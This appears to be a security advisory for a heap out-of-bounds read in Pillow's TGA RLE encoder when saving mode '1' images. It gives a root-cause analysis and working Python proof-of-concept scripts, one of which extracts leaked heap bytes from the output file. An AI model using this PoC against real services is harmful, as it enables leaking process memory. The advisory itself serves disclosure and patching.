| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| pillow | ≥ 5.2.0, < 12.3.0 | 12.3.0 |
| pillow | ≥ 5.2.0, < 12.3.0 | 12.3.0 |
Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1"
image. Adjacent process heap bytes can be copied into the generated TGA file.
The bug is reachable through the public save API:
im.save(out, format="TGA", compression="tga_rle")
Older affected Pillow versions use the equivalent public option rle=True.
For mode "1", Pillow allocates a packed row buffer of ceil(width / 8)
bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.
The maximum valid TGA width is 65535. At that width:
allocated packed row buffer: 8192 bytes
encoder byte-offset walk: 65535 bytes
maximum OOB window per row: 57343 bytes
On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized
57297 bytes from distinct out-of-bounds source offsets into one returned TGA,
covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most 128 bytes each, not one large
memcpy().
src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the
tga_rle encoder when RLE compression is requested.
src/encode.c:_setimage() allocates the row buffer using the packed-bit
formula:
state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);
For mode "1", state->bits == 1.
src/libImaging/TgaRleEncode.c then computes:
bytesPerPixel = (state->bits + 7) / 8;
This becomes 1, and the encoder uses pixel indexes as byte offsets:
static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
buf += x * bytesPerPixel;
return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}
The packet payload memcpy() later copies those out-of-bounds source bytes into
the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy
one representative byte:
memcpy(
dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);
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Quét site miễn phíA width-2 mode "1" image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.
import io
from PIL import Image
out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")
Observed on local Pillow 12.3.0.dev0 ASAN target:
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage
This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window.
Run the following with a standard affected Pillow installation.
import hashlib
import io
import PIL
from PIL import Image
WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES
def extract_oob_payload(data):
i = 18
pixel = 0
oob = bytearray()
while pixel < WIDTH:
descriptor = data[i]
i += 1
count = (descriptor & 0x7F) + 1
if descriptor & 0x80:
value = data[i]
i += 1
if pixel + count - 1 >= ROW_BYTES:
oob.append(value)
else:
values = data[i : i + count]
i += count
oob.extend(values[max(ROW_BYTES - pixel, 0) :])
pixel += count
return bytes(oob)
best = b""
for _ in range(ATTEMPTS):
out = io.BytesIO()
Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
oob = extract_oob_payload(out.getvalue())
if len(oob) > len(best):
best = oob
with open("/tmp/max_oob_bytes.bin", "wb") as fp:
fp.write(best)
print(f"Pillow={PIL.__version__}")
print(f"packed_row_bytes={ROW_BYTES}")
print(f"maximum_oob_window={MAX_OOB_WINDOW}")
print(f"serialized_distinct_oob_offsets={len(best)}")
print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
print(f"sha256={hashlib.sha256(best).hexdigest()}")
Observed on installed Pillow 12.2.0:
Pillow=12.2.0
packed_row_bytes=8192
maximum_oob_window=57343
serialized_distinct_oob_offsets=57297
nonzero_oob_bytes=54407
coverage=99.92%
This is a heap out-of-bounds read and potential information disclosure.
A maximum-width single-row image can cause nearly the full
57343-byte adjacent heap window to be incorporated into one output file.